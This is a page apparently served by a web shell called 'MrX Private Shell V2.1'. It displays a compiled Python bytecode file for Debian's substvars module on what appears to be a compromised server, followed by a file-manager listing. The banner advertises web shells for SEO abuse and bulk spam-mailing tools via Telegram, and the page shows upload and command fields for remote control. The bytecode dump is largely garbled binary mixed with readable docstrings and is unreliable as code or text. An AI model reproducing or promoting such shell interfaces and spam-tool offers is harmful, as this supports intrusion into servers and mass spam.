__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

7�g:���SrSSKrSSKrSSKrSSKrSSKrSSKJr SSKJ	r	 SSK
Jr SSKJ
r
 SSKJrJrJrJrJrJrJrJrJr \(aSSKJr SS	KJr \\\\\\\4r\R<"S
5r\R@"S5r!"SS
5r"\RFS:�d\(a "SS\RH\\\\4\5r%O"SS\RL\\\5r%"SS\%S5r'g!\a N�f=f)aFacilities for reading and writing Debian substvars files

The aim of this module is to provide programmatic access to Debian substvars
files to query and manipulate them. The format for the substvars files is
defined in `deb-substvars(5)
<https://manpages.debian.org/unstable/dpkg-dev/deb-substvars.5.html>`_

Overview
========

The most common use-case for substvars is for package helpers to add or update
a substvars (e.g., to add a dependency).  This would look something like:

    >>> from debian.substvars import Substvars
    >>> from tempfile import TemporaryDirectory
    >>> import os
    >>> # Using a tmp dir for the sake of doctests
    >>> with TemporaryDirectory() as debian_dir:
    ...    filename = os.path.join(debian_dir, "foo.substvars")
    ...    with Substvars.load_from_path(filename, missing_ok=True) as svars:
    ...        svars.add_dependency("misc:Depends", "bar (>= 1.0)")

By default, the module creates new substvars as "mandatory" substvars (that
triggers a warning by dpkg-gecontrol if not used.  However, it does also
support the "optional" substvars introduced in dpkg 1.21.8.  See
`Substvars.as_substvars` for an example of how to use the "optional"
substvars.


The :class:`Substvars` class is the key class within this module.

Substvars Classes
-----------------
�N)�ABC)�OrderedDict)�MutableMapping)�
TracebackType)	�Dict�Set�Optional�Union�Iterator�IO�Iterable�
TYPE_CHECKING�Type)�Self)�PathLike�TzB^(?P<name>\w[-:\dA-Za-z]*)(?P<assignment_type>[?]?=)(?P<value>.*)$c��\rSrSrSS/rS
Sjr\S\4Sj5r\RS5rSr
S\4S	jrS
rSr
g)�Substvar�?�_assignment_operator�_valuec��XlX lg�N)r�assignment_operator)�self�
initial_valuers   �2/usr/lib/python3/dist-packages/debian/substvars.py�__init__�Substvar.__init__Cs��$��#6� ��returnc��UR$r)r�rs rr�Substvar.assignment_operatorTs���(�(�(r c�8�US;a[SU-5eXlg)N>�=�?=z-Operator must be one of: "=", or "?=" - got: )�
ValueErrorr)r�new_operators  rrr$Xs#���{�*��L�|�[�\�\�$0�!r c�0�URS:Xa	U1Ulg[UR[5(a>URRS5Vs1sHo"R	5iM snUlURRU5 gs snf)N��,)r�
isinstance�str�split�strip�add)r�dependency_clause�vs   r�add_dependency�Substvar.add_dependency_sn���;�;�"��,�-�D�K���d�k�k�3�'�'�.2�k�k�.?�.?��.D�E�.D��7�7�9�.D�E�D�K������)�*��Fs�Bc��[UR[5(a$SR[	UR55$UR$)Nz, )r-r�set�join�sortedr#s r�resolve�Substvar.resolveis5���d�k�k�3�'�'��9�9�V�D�K�K�0�1�1��{�{�r c��Ub[U[5(dgURUR:wagUR5UR5:H$�NF)r-rrr:�r�others  r�__eq__�Substvar.__eq__nsD���=�
�5�(� ;� ;���#�#�u�'@�'@�@���|�|�~�����0�0r )rrrN)r+r&)�__name__�
__module__�__qualname__�__firstlineno__�	__slots__r�propertyr.r�setterr4r:r@�__static_attributes__�r rrr?sb��'��2�I�%'�%(�7�"�)�S�)��)����1� �1�+����
1r r)��	c��\rSrSrSrg)�_Substvars_Base�xrJN)rBrCrDrErIrJr rrNrNxs��r rNc� �\rSrSrSrSrSrg)rN�c��U$rrJr#s r�	__enter__�_Substvars_Base.__enter__�s���Kr c��grrJ)r�exc_type�exc_val�exc_tbs    r�__exit__�_Substvars_Base.__exit__�s��r rJN)rBrCrDrErSrYrIrJr rrNrNs��	�	r c�&^�\rSrSrSrSS/rSSjr\SSj5r\	S5r
\
RS	5r
\	S
5r\RS5rSr
U4S
jrSrS\4SjrSrSrSrSr\	S5rSrS\4SjrSSjrSrSrSrU=r$)�	Substvars�aOSubstvars is a dict-like object containing known substvars for a given package.

>>> substvars = Substvars()
>>> substvars['foo'] = 'bar, golf'
>>> substvars['foo']
'bar, golf'
>>> substvars.add_dependency('foo', 'dpkg (>= 1.20.0)')
>>> substvars['foo']
'bar, dpkg (>= 1.20.0), golf'
>>> 'foo' in substvars
True
>>> sorted(substvars)
['foo']
>>> del substvars['foo']
>>> substvars['foo']
Traceback (most recent call last):
    ...
KeyError: 'foo'
>>> substvars.get('foo')
>>> # None
>>> substvars['foo'] = ""
>>> substvars['foo']
''

The Substvars object also provide methods for serializing and deserializing
the substvars into and from the format used by dpkg-gencontrol.

The Substvars object can be used as a context manager, which causes the substvars
to be saved when the context manager exits successfully (i.e., no exceptions are raised).
�
_vars_dict�_substvars_pathr!c�0�[5UlSUlgr)rr^r_r#s rr�Substvars.__init__�s��%�-���#��r c��U"5n[USSS9nURU5 SSS5 XlU$!,(df   N=f![a0nUR[R:wdU(deSnANNSnAff=f)arShorthand for initializing a Substvars from a file

The return substvars will have `substvars_path` set to the provided path enabling
`save()` to work out of the box. This also makes it easy to combine this with the
context manager interface to automatically save the file again.

>>> import os
>>> from tempfile import TemporaryDirectory
>>> with TemporaryDirectory() as tmpdir:
...    filename = os.path.join(tmpdir, "foo.substvars")
...    # Obviously, this does not exist
...    print("Exists before: " + str(os.path.exists(filename)))
...    with Substvars.load_from_path(filename, missing_ok=True) as svars:
...        svars.add_dependency("misc:Depends", "bar (>= 1.0)")
...    print("Exists after: " + str(os.path.exists(filename)))
Exists before: False
Exists after: True

:param substvars_path: The path to load from
:param missing_ok: If True, then the path does not have to exist (i.e.
  FileNotFoundError causes an empty Substvars object to be returned).  Combined
  with the context manager, this is useful for packaging helpers that want to
  append / update to the existing if it exists or create it if it does not exist.
�r�utf-8��encodingN)�open�read_substvars�OSError�errno�ENOENT�substvars_path)�clsrl�
missing_ok�	substvars�fd�es      r�load_from_path�Substvars.load_from_path�sq��6�E�	�	��n�c�G�<���(�(��,�=�
$2� ���
=�<���	��w�w�%�,�,�&�j��/9��	�s1�A�6�A�
A�A�A�
B�&A<�<Bc��UR$r�r^r#s r�_vars�Substvars._vars�s�����r c��Xlgrru)r�	vars_dicts  rrvrw�s	��$�r c��UR$r�r_r#s rrl�Substvars.substvars_path�s���#�#�#r c��Xlgrr{)r�new_paths  rrlr|�s
�� (�r c��URUnURU5 g![a [5nX0RU'N6f=f)acAdd a dependency clause to a given substvar

>>> substvars = Substvars()
>>> # add_dependency automatically creates variables
>>> 'misc:Recommends' not in substvars
True
>>> substvars.add_dependency('misc:Recommends', "foo (>= 1.0)")
>>> substvars['misc:Recommends']
'foo (>= 1.0)'
>>> # It can be appended to other variables
>>> substvars['foo'] = 'bar, golf'
>>> substvars.add_dependency('foo', 'dpkg (>= 1.20.0)')
>>> substvars['foo']
'bar, dpkg (>= 1.20.0), golf'
>>> # Exact duplicates are ignored
>>> substvars.add_dependency('foo', 'dpkg (>= 1.20.0)')
>>> substvars['foo']
'bar, dpkg (>= 1.20.0), golf'

N)rv�KeyErrorrr4)r�substvarr2�variables    rr4�Substvars.add_dependency�sJ��,	,��z�z�(�+�H�	��� 1�2���	,��z�H�#+�J�J�x� �	,�s�#�"A�Ac�J>�UcUR5 [TU]	XU5$r)�save�superrY)rrVrWrX�	__class__s    �rrY�Substvars.__exit__s&������I�I�K��w���6�:�:r c�,�[UR5$r)�iterrvr#s r�__iter__�Substvars.__iter__s���D�J�J��r c�,�[UR5$r)�lenr^r#s r�__len__�Substvars.__len__s���4�?�?�#�#r c��XR;$r�rv)r�items  r�__contains__�Substvars.__contains__s���z�z�!�!r c�<�URUR5$r)rvr:�r�keys  r�__getitem__�Substvars.__getitem__s���z�z�#��&�&�(�(r c��URU	grr�r�s  r�__delitem__�Substvars.__delitem__s
���J�J�s�Or c�4�[U5URU'gr)rrv)rr��values   r�__setitem__�Substvars.__setitem__#s��"�5�/��
�
�3�r c��UR$)a�Provides a mapping to the Substvars object for more advanced operations

Treating a substvars file mostly as a "str -> str" mapping is sufficient for many cases.
But when full control over the substvars (like fiddling with the assignment operator) is
needed this attribute is useful.

>>> content = '''
... # Some comment (which is allowed but no one uses them - also, they are not preserved)
... shlib:Depends=foo (>= 1.0), libbar2 (>= 2.1-3~)
... random:substvar?=With the new assignment operator from dpkg 1.21.8
... '''
>>> substvars = Substvars()
>>> substvars.read_substvars(content.splitlines())
>>> substvars.as_substvar["shlib:Depends"].assignment_operator
'='
>>> substvars.as_substvar["random:substvar"].assignment_operator
'?='
>>> # Mutation is also possible
>>> substvars.as_substvar["shlib:Depends"].assignment_operator = '?='
>>> print(substvars.dump(), end="")
shlib:Depends?=foo (>= 1.0), libbar2 (>= 2.1-3~)
random:substvar?=With the new assignment operator from dpkg 1.21.8
r�r#s r�as_substvar�Substvars.as_substvar's��6�z�z�r c�f�Ub[U[5(dgURUR:H$r=)r-r\rvr>s  rr@�Substvars.__eq__Ds)���=�
�5�)� <� <���z�z�U�[�[�(�(r c�b�SRSURR555$)z�Debug aid that generates a string representation of the content

For persisting the contents, please consider `save()` or `write_substvars`.
r+c3�z# �UH1upSRXRUR55v� M3 g7f�z{}{}{}
N��formatrr:��.0�kr3s   r�	<genexpr>�!Substvars.dump.<locals>.<genexpr>Os5����#5�4�1�"�(�(��,A�,A�1�9�9�;�O�O�#5���9;)r8rv�itemsr#s r�dump�Substvars.dumpJs/��
�w�w��#'�:�:�#3�#3�#5���	r c��URc[S5e[URSSS9nURU5sSSS5 $!,(df   g=f)z�Save the substvars file

Replace the path denoted by the `substvars_path` attribute with the
in-memory version of the substvars.  Note that the `substvars_path`
property must be not None for this method to work.
NzcThe substvar does not have a substvars_path: Please set substvars_path first or use write_substvars�wrdre)r_�	TypeErrorrg�write_substvars)rrps  rr��Substvars.saveSsU�����'��O�P�
P��$�&�&��g�
>�"��'�'��+�?�
>�
>�s�A	�	
Ac�d�URSURR555 g)z�Write a copy of the substvars to an open text file

:param fileobj: The open file (should open in text mode using the UTF-8 encoding)
c3�z# �UH1upSRXRUR55v� M3 g7fr�r�r�s   rr��,Substvars.write_substvars.<locals>.<genexpr>gs5����'9�t�q�&�,�,�Q�0E�0E�q�y�y�{�S�S�'9�r�N)�
writelinesrvr�)r�fileobjs  rr��Substvars.write_substvarsas,��	����'+�z�z�'7�'7�'9��	r c�
�[5nUHmnUR5S:Xd	USS:XaM"[RUR	S55nU(dMOUR5upVn[
XvS9X%'Mo X lg)a�Read substvars from an open text file in the format supported by dpkg-gencontrol

On success, all existing variables will be discarded and only variables
from the file will be present after this method completes.  In case of
any IO related errors, the object retains its state prior to the call
of this method.

>>> content = '''
... # Some comment (which is allowed but no one uses them - also, they are not preserved)
... shlib:Depends=foo (>= 1.0), libbar2 (>= 2.1-3~)
... random:substvar?=With the new assignment operator from dpkg 1.21.8
... '''
>>> substvars = Substvars()
>>> substvars.read_substvars(content.splitlines())
>>> substvars["shlib:Depends"]
'foo (>= 1.0), libbar2 (>= 2.1-3~)'
>>> substvars["random:substvar"]
'With the new assignment operator from dpkg 1.21.8'

:param fileobj: An open file (in text mode using the UTF-8 encoding) or an
  iterable of str that provides line by line content.
r+r�#z
)rN)rr0�_SUBSTVAR_PATTERN�match�rstrip�groupsrrv)rr�ry�line�m�varnamerr�s        rrh�Substvars.read_substvarskss��0 �M�	��D��z�z�|�r�!�T�!�W��^��!�'�'����F�(;�<�A���23�(�(�*�/�G�%�!)�%�!Y�I����
r )r_rvr^)r!N)F)rBrCrDrE�__doc__rFr�classmethodrrrGrvrHrlr4rYr��intr�r�r�r�r�r�r@r.r�r�r�rhrI�
__classcell__)r�s@rr\r\�s�����>�0�1�I�$��"��"�H����
�\�\�$��$�
�$��$����(��(�3�:;� �$��$�"�)��*�����8)��c��,��!�!r r\)(r��
contextlibrj�re�sys�typing�abcr�collectionsr�collections.abcr�typesrrrr	r
rrr
rrr�osrr.�bytes�AnyPath�ImportError�TypeVarr�compiler�r�version_info�AbstractContextManagerrN�Genericr\rJr r�<module>r�s��!�H��	�
�
��#�*��Z�Z�Z�	�������
�x����U�B�C���N�N�3����J�J�I���
51�51�p���v���
�*�;�;�A�>��s�TW�x�@X�Z]�
��&�.�.��+�^�S��D���,�D��g�	��	�s�"C6�6C?�>C?

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 1.02 KB 0644
_arch_table.cpython-313.pyc File 15.82 KB 0644
_util.cpython-313.pyc File 16.72 KB 0644
_version.cpython-313.pyc File 634 B 0644
arfile.cpython-313.pyc File 14.71 KB 0644
changelog.cpython-313.pyc File 38.9 KB 0644
copyright.cpython-313.pyc File 35.68 KB 0644
deb822.cpython-313.pyc File 93.51 KB 0644
debfile.cpython-313.pyc File 23.15 KB 0644
debian_support.cpython-313.pyc File 29.56 KB 0644
debtags.cpython-313.pyc File 18.78 KB 0644
substvars.cpython-313.pyc File 16.85 KB 0644
watch.cpython-313.pyc File 9.93 KB 0644
Filemanager